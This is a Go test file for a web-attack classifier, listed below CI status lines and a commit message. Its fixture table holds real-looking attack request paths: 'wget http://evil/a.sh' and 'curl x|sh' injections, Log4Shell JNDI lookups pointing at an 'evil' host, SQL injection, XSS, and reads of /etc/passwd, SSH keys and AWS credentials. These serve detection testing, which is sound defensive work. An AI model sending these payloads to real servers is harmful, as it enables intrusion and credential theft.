CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 27s
CI / Dependency audit (push) Successful in 18s
CI / Tests (Linux, race detector) (push) Successful in 58s
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 5s
Intelligence: attack families mapped to MITRE ATT&CK, network type from
ASN/rDNS without external APIs, request cadence, sessions with
recon/probe/exploit/access/banned stages, campaigns across IPs, verdict
with reasons, recommended actions, exposure detection (2xx with a body
on sensitive paths), STIX 2.1 export, FCrDNS for search engine bots,
optional Tor exit list.
Data: 30-day retention, twelve ranges plus custom from/to, an on-disk
event log (daily files, hourly gzip members, size cap, corruption and
disk-full tolerant), /events, /period, /metrics with stable per-hour
metrics, an extended /ip/{ip}, and peer /period merged on the hub.
Interface: layout system with fixed card sizes, range picker in the
URL, IP analysis page, Replay page, Geography down to state and city
(Natural Earth admin-1), Live page redesigned with stable metrics and a
reusable attack map. Demo data and documentation screenshots.
Security: bounded and deadline-limited period computations, linear
campaign clustering, singleflight caches, sanitized peer studies, event
query budgets, gzip bomb guard.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
259 lines
9.5 KiB
Go
259 lines
9.5 KiB
Go
package intel
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
|
|
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
|
)
|
|
|
|
var famCases = []struct{ path, fam, marker string }{
|
|
// traversal
|
|
{"/../../../../etc/passwd", FamTraversal, "../"},
|
|
{"/cgi-bin/..%2f..%2f..%2fetc/passwd", FamTraversal, "../"},
|
|
{"/%2e%2e/%2e%2e/etc/passwd", FamTraversal, "../"},
|
|
{"/%252e%252e/%252e%252e/boot.ini", FamTraversal, "../"},
|
|
{"/static/..;/admin", FamTraversal, "..;/"},
|
|
{`/a/..\..\windows\win.ini`, FamTraversal, `..\`},
|
|
{"/file?name=/etc/passwd", FamTraversal, "/etc/passwd"},
|
|
{"/proc/self/environ", FamTraversal, "/proc/self"},
|
|
{"/index.php?page=....//....//etc/passwd", FamTraversal, "../"},
|
|
{"/x/%2E%2E", FamTraversal, "%2e%2e"},
|
|
{"/download?f=../../config", FamTraversal, "../"},
|
|
{"/?file=..%5c..%5cwindows", FamTraversal, `..\`},
|
|
// log4shell
|
|
{"/?x=${jndi:ldap://1.2.3.4/a}", FamLog4Shell, "${jndi:"},
|
|
{"/api/${jndi:dns://x.y}", FamLog4Shell, "${jndi:"},
|
|
{"/?q=%24%7Bjndi%3Aldap%3A%2F%2Fevil%2Fa%7D", FamLog4Shell, "${jndi:"},
|
|
{"/login?user=${JNDI:rmi://a}", FamLog4Shell, "${jndi:"},
|
|
// sqli
|
|
{"/item.php?id=1 union select 1,2,3", FamSQLi, "union select"},
|
|
{"/item.php?id=1+UNION+SELECT+1,2", FamSQLi, "union select"},
|
|
{"/item?id=1' or '1'='1", FamSQLi, "' or "},
|
|
{"/item?id=1%27%20or%201=1", FamSQLi, "' or "},
|
|
{"/p?id=1;select sleep(5)", FamSQLi, "sleep("},
|
|
{"/p?id=benchmark(1000000,md5(1))", FamSQLi, "benchmark("},
|
|
{"/p?q=(select * from information_schema.tables)", FamSQLi, "information_schema"},
|
|
{"/search?q=1%20UNION%20SELECT%20null", FamSQLi, "union select"},
|
|
// xss
|
|
{"/search?q=<script>alert(1)</script>", FamXSS, "<script"},
|
|
{"/search?q=%3Cscript%3Ealert(1)", FamXSS, "<script"},
|
|
{"/r?u=javascript:alert(1)", FamXSS, "javascript:"},
|
|
{"/i?x=<img src=x onerror=alert(1)>", FamXSS, "onerror="},
|
|
{"/s?q=%253Cscript%253E", FamXSS, "<script"},
|
|
// rce
|
|
{"/index.php?cmd=ls", FamRCE, "cmd="},
|
|
{"/x;wget http://evil/a.sh", FamRCE, ";wget"},
|
|
{"/?c=/bin/sh -c id", FamRCE, "/bin/sh"},
|
|
{"/?c=/bin/bash", FamRCE, "/bin/bash"},
|
|
{"/?a=curl x|sh", FamRCE, "|sh"},
|
|
{"/?a=eval(base64_decode('x'))", FamRCE, "eval("},
|
|
{"/?file=php://input", FamRCE, "php://"},
|
|
{"/?x=base64_decode(abc)", FamRCE, "base64_decode"},
|
|
{"/?auto_prepend_file=php://input&allow_url_include=1", FamRCE, "php://"},
|
|
{"/index.php?allow_url_include=on", FamRCE, "allow_url_include"},
|
|
{"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
|
|
{"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
|
|
// webshell
|
|
{"/shell.php", FamWebshell, "/shell"},
|
|
{"/shell", FamWebshell, "/shell"},
|
|
{"/c99.php", FamWebshell, "c99"},
|
|
{"/r57.php", FamWebshell, "r57"},
|
|
{"/wso.php", FamWebshell, "/wso"},
|
|
{"/alfa.php", FamWebshell, "/alfa"},
|
|
{"/up.php", FamWebshell, "up.php"},
|
|
{"/wp-content/uploads/2020/01/x.php", FamWebshell, "/wp-content/uploads/"},
|
|
{"/xmrlpc.php", FamWebshell, "xmrlpc"},
|
|
{"/images/shell/", FamWebshell, "/shell"},
|
|
{"/admin/upload/up.php", FamWebshell, "up.php"},
|
|
// env-credentials
|
|
{"/.env", FamEnvCreds, "/.env"},
|
|
{"/.env.production", FamEnvCreds, "/.env"},
|
|
{"/app/.env", FamEnvCreds, "/.env"},
|
|
{"/.aws/credentials", FamEnvCreds, "/.aws"},
|
|
{"/.ssh/id_rsa", FamEnvCreds, "/.ssh"},
|
|
{"/backup/id_rsa", FamEnvCreds, "id_rsa"},
|
|
{"/.git-credentials", FamEnvCreds, "/.git-credentials"},
|
|
{"/wp-config.php", FamEnvCreds, "wp-config"},
|
|
{"/wp-config.php.bak", FamEnvCreds, "wp-config"},
|
|
{"/config.json", FamEnvCreds, "/config.json"},
|
|
{"/aws/credentials", FamEnvCreds, "credentials"},
|
|
{"/.npmrc", FamEnvCreds, ".npmrc"},
|
|
{"/.dockercfg", FamEnvCreds, ".dockercfg"},
|
|
{"/.env.bak", FamEnvCreds, "/.env"},
|
|
{"/%2eenv", FamEnvCreds, "/.env"},
|
|
// vcs
|
|
{"/.git/config", FamVCS, "/.git"},
|
|
{"/.git/HEAD", FamVCS, "/.git"},
|
|
{"/.svn/entries", FamVCS, "/.svn"},
|
|
{"/.hg/store", FamVCS, "/.hg"},
|
|
{"/.gitconfig", FamVCS, "/.git"},
|
|
{"/site/.git/logs/HEAD", FamVCS, "/.git"},
|
|
{"/.git/refs/heads/main", FamVCS, "/.git"},
|
|
// backup
|
|
{"/backup.sql", FamBackup, ".sql"},
|
|
{"/db.sql", FamBackup, ".sql"},
|
|
{"/site.zip", FamBackup, ".zip"},
|
|
{"/www.tar.gz", FamBackup, ".tar.gz"},
|
|
{"/index.php.bak", FamBackup, ".bak"},
|
|
{"/index.php.old", FamBackup, ".old"},
|
|
{"/index.php.orig", FamBackup, ".orig"},
|
|
{"/.index.php.swp", FamBackup, ".swp"},
|
|
{"/data.7z", FamBackup, ".7z"},
|
|
{"/dump.rar", FamBackup, ".rar"},
|
|
{"/x.tgz", FamBackup, ".tgz"},
|
|
{"/archive.tar", FamBackup, ".tar"},
|
|
{"/archive.gz", FamBackup, ".gz"},
|
|
{"/backup.zip?x=1", FamBackup, ".zip"},
|
|
// wordpress
|
|
{"/wp-login.php", FamWordPress, "/wp-login.php"},
|
|
{"/xmlrpc.php", FamWordPress, "/xmlrpc.php"},
|
|
{"/wp-admin/", FamWordPress, "/wp-admin"},
|
|
{"/wp-admin/admin-ajax.php", FamWordPress, "/wp-admin"},
|
|
{"/wp-content/plugins/revslider/x", FamWordPress, "/wp-content/plugins/"},
|
|
{"/wp-includes/wlwmanifest.xml", FamWordPress, "/wp-includes"},
|
|
{"/blog/wp-includes/js/x.js", FamWordPress, "/wp-includes"},
|
|
{"/wp-json/wp/v2/users", FamWordPress, "wp-json/wp/v2/users"},
|
|
// phpmyadmin
|
|
{"/phpmyadmin/", FamPhpMyAdmin, "phpmyadmin"},
|
|
{"/phpMyAdmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
|
|
{"/pma/", FamPhpMyAdmin, "/pma/"},
|
|
{"/adminer.php", FamPhpMyAdmin, "/adminer"},
|
|
{"/mysql/", FamPhpMyAdmin, "/mysql"},
|
|
{"/sql/", FamPhpMyAdmin, "/sql"},
|
|
{"/db/phpmyadmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
|
|
// actuator
|
|
{"/actuator/env", FamActuator, "/actuator"},
|
|
{"/actuator/health", FamActuator, "/actuator"},
|
|
{"/_profiler/phpinfo", FamActuator, "/_profiler"},
|
|
{"/telescope/requests", FamActuator, "/telescope"},
|
|
{"/server-status", FamActuator, "/server-status"},
|
|
{"/phpinfo.php", FamActuator, "phpinfo"},
|
|
{"/info.php?phpinfo", FamActuator, "phpinfo"},
|
|
{"/debug/default/view", FamActuator, "/debug"},
|
|
{"/console", FamActuator, "/console"},
|
|
{"/jolokia/../actuator", FamTraversal, "../"},
|
|
// iot-cgi
|
|
{"/cgi-bin/luci", FamIoTCGI, "/cgi-bin/"},
|
|
{"/cgi-bin/test-cgi", FamIoTCGI, "/cgi-bin/"},
|
|
{"/boaform/admin/formLogin", FamIoTCGI, "/boaform/"},
|
|
{"/HNAP1/", FamIoTCGI, "/hnap1"},
|
|
{"/goform/webLogin", FamIoTCGI, "/goform"},
|
|
{"/shell?cd /tmp;wget http://x/a", FamRCE, ";wget"},
|
|
{"/shell?cd+/tmp", FamIoTCGI, "/shell?cd"},
|
|
{"/setup.cgi?next_file=netgear.cfg", FamIoTCGI, "/setup.cgi"},
|
|
{"/GponForm/diag_Form?images/", FamIoTCGI, "/gponform"},
|
|
{"/tmui/login.jsp", FamIoTCGI, "/tmui"},
|
|
{"/remote/login?lang=en", FamIoTCGI, "/remote/"},
|
|
{"/vpn/index.html", FamIoTCGI, "/vpn/"},
|
|
{"/owa/auth/logon.aspx", FamIoTCGI, "/owa/"},
|
|
{"/ecp/Current/exporttool", FamIoTCGI, "/ecp/"},
|
|
{"/cgi-bin/../../../../bin/sh", FamTraversal, "../"},
|
|
// admin-panel
|
|
{"/admin", FamAdminPanel, "/admin"},
|
|
{"/admin/login.php", FamAdminPanel, "/admin"},
|
|
{"/login", FamAdminPanel, "/login"},
|
|
{"/manager/html", FamAdminPanel, "/manager/html"},
|
|
{"/user/login", FamAdminPanel, "/login"},
|
|
{"/administrator/index.php", FamAdminPanel, "/admin"},
|
|
// benign
|
|
{"/", "", ""},
|
|
{"/index.html", "", ""},
|
|
{"/css/app.css", "", ""},
|
|
{"/api/v1/items?page=2", "", ""},
|
|
{"/.well-known/acme-challenge/abc", "", ""},
|
|
{"/.github/workflows/ci.yml", "", ""},
|
|
{"/assets/logo.png", "", ""},
|
|
{"/blog/2020/post-title", "", ""},
|
|
{"/favicon.ico", "", ""},
|
|
{"/robots.txt", "", ""},
|
|
{"/shellfish/menu", "", ""},
|
|
{"/alfa-romeo/models", "", ""},
|
|
}
|
|
|
|
func TestFamilyAndMarker(t *testing.T) {
|
|
if len(famCases) < 120 {
|
|
t.Fatalf("only %d cases", len(famCases))
|
|
}
|
|
for _, c := range famCases {
|
|
if got := PathFamily(c.path); got != c.fam {
|
|
t.Errorf("PathFamily(%q) = %q, want %q", c.path, got, c.fam)
|
|
}
|
|
if got := Marker(c.path); got != c.marker {
|
|
t.Errorf("Marker(%q) = %q, want %q", c.path, got, c.marker)
|
|
}
|
|
if c.fam != "" {
|
|
if got := Family(c.path, core.Scanner, 404, false); got != c.fam {
|
|
t.Errorf("Family(%q, scanner) = %q, want %q", c.path, got, c.fam)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestFamilyCategoryGating(t *testing.T) {
|
|
cases := []struct {
|
|
path string
|
|
cat core.Category
|
|
tool bool
|
|
want string
|
|
}{
|
|
{"/page-that-does-not-exist", core.NotFound, false, FamGeneric404},
|
|
{"/wp-login.php", core.NotFound, false, FamWordPress},
|
|
{"/login", core.OK, false, ""},
|
|
{"/login", core.OK, true, FamAdminPanel},
|
|
{"/.env", core.OK, false, FamEnvCreds},
|
|
{"/index.html", core.OK, false, ""},
|
|
{"/index.html", core.Scanner, false, ""},
|
|
{"/x", core.SSHFail, false, ""},
|
|
{"/.env", core.Ban, false, ""},
|
|
{"/.env", core.SSHProbe, false, ""},
|
|
}
|
|
for _, c := range cases {
|
|
if got := Family(c.path, c.cat, 404, c.tool); got != c.want {
|
|
t.Errorf("Family(%q,%s,tool=%v)=%q want %q", c.path, c.cat, c.tool, got, c.want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestFamilyHostile(t *testing.T) {
|
|
huge := strings.Repeat("A", 5<<20)
|
|
inputs := []string{
|
|
huge,
|
|
huge + "/.env",
|
|
"/" + strings.Repeat("%25", 100000) + "2e",
|
|
"/" + strings.Repeat("../", 100000),
|
|
"/\u0000\xff\xfe" + string([]byte{0xff, 0xfe, 0x00}),
|
|
"/日本語/ファイル.php?q=✓",
|
|
"/%E0%A4%A",
|
|
"/%zz%2",
|
|
"%",
|
|
"",
|
|
"/%252525252e%252525252e/",
|
|
strings.Repeat("%", 5000),
|
|
"/İİİ/.ENV",
|
|
}
|
|
for _, in := range inputs {
|
|
for _, cat := range core.Categories {
|
|
_ = Family(in, cat, 0, true)
|
|
}
|
|
_ = Marker(in)
|
|
}
|
|
if got := Family(huge+"/.env", core.Scanner, 404, false); got != FamEnvCreds {
|
|
t.Errorf("tail marker lost: %q", got)
|
|
}
|
|
if got := Family("/%252e%252e%252fetc", core.Scanner, 404, false); got != FamTraversal {
|
|
t.Errorf("double encoding: %q", got)
|
|
}
|
|
if got := PathFamily("/%E0%A4%A/.git/config"); got != FamVCS {
|
|
t.Errorf("bad escape tolerance: %q", got)
|
|
}
|
|
}
|
|
|
|
func BenchmarkFamily(b *testing.B) {
|
|
paths := []string{"/", "/index.html", "/wp-login.php", "/.env", "/a/b/c/d/e?x=1&y=2&z=3", "/cgi-bin/../../etc/passwd"}
|
|
b.ReportAllocs()
|
|
for i := 0; i < b.N; i++ {
|
|
_ = Family(paths[i%len(paths)], core.Scanner, 404, false)
|
|
}
|
|
}
|